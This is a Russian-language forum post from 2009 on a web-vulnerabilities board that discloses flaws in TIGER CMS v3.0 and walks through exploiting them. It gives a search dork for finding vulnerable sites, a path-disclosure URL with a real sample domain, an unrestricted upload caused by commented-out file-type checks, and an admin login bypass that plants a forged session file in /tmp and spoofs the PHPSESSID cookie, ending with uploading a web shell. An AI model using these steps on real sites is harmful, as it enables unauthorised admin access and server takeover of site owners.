Уязвимости TIGER CMS

Discussion in 'Веб-уязвимости' started by Dimi4, 5 Jan 2009.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Уязвимости TIGER CMS​


    Product : TIGER CMS
    Vesrion : v3.0
    Site : осторожно сплойт!(не мой) http://tigercms.com/
    Discovered by: Dimi4
    Dork:"Powered by TIGER CMS v3.0"


    Path Disclosure
    Проканывает обычно на win, либо nix с криво выставлеными правами.
    Sample : http://bobruisk.name/admin/engine/modules/uploads/

    Usage:

    Code:
    http://site.com/path/admin/engine/modules/[B][module_name][/B]
    Стандартные модули, которые подходят для этой цели:
    Заливка произвольного файла
    Непонятно для чего, но вина всему - 2 закоментированые по дефолту строчки.

    PHP:
    $type strtolower(substr($filenamestrrpos($filename".")));
                
    //$types_ok = array("jpg", "bmp", "gif", "png");
                //if(!in_array($type, $types_ok)) $Validate->Locate("javascript:window.close();", 0, 1, "Неверный формат файла.");

                
    $new_name 'tiger-'.time().'.'.$type;
                
    $a copy($file"../uploads/".$new_name);
                
    $path_all getenv("SERVER_NAME");
    http://site.com/path/admin/?task=uploads&sub_task=add

    Обход авторизации в админке.
    Need:

    • Шелл на соседнем сайте
    • Доступ на запись в /tmp
    Уязвимый код:
    admin/login/login2.php

    PHP:
                 $_SESSION['user_id_admin'] = $id_admin;
                 
    $Admins->SuccessAuth($login);
    Для удачного логина нам потребуется логин админа. Рискнем предположить что это "admin"
    Составляем сесию:
    Имя: sess_0526152ea0fed5dbbfca86639e0f6fa7
    Содержимое:

    Code:
    user_id_admin|s:1:"1";
    Сохраняем в /tmp
    Не забудьте поставить права 777!

    Далее в браузере подделываем куки:
    Code:
    PHPSESSID=0526152ea0fed5dbbfca86639e0f6fa7
    Идем:
    http://site.com/path/admin/, Удачно прошли авторизации, заливаем шелл как описано выше.

    Спасибо нолику за статью по реверс айпи
     
    #1 Dimi4, 5 Jan 2009
    Last edited: 5 Jan 2009
    3 people like this.